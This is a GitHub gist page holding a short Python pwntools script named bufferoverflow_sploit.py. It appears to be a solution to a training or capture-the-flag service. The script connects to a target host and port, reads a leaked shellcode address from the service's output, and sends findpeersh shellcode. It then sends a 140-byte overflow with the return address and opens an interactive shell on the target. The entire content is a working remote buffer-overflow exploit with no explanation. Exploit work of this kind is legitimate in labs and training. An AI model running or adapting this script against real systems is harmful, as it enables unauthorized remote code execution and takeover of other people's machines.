Skip to content

Instantly share code, notes, and snippets.

@RobertLarsen

RobertLarsen/bufferoverflow_sploit.py

Created December 1, 2014 07:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RobertLarsen/ef367378bf2242fe94b0 to your computer and use it in GitHub Desktop.
Save RobertLarsen/ef367378bf2242fe94b0 to your computer and use it in GitHub Desktop.
Download ZIP
bufferoverflow_sploit.py
Raw
bufferoverflow_sploit.py
#!/usr/bin/python
from pwn import *
import sys
context(os='linux', arch='i386')
host = 'localhost'
port = 9988
if len(sys.argv) > 1:
host = sys.argv[1]
if len(sys.argv) > 2:
port = int(sys.argv[2])
sock = remote(host, port)
sock.recvline()
shellcode = int(sock.recvline()[57:57 + 8], 16)
sock.send(asm(shellcraft.i386.linux.findpeersh()))
sock.recvline()
sock.send('A' * 140 + pack(shellcode))
sock.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment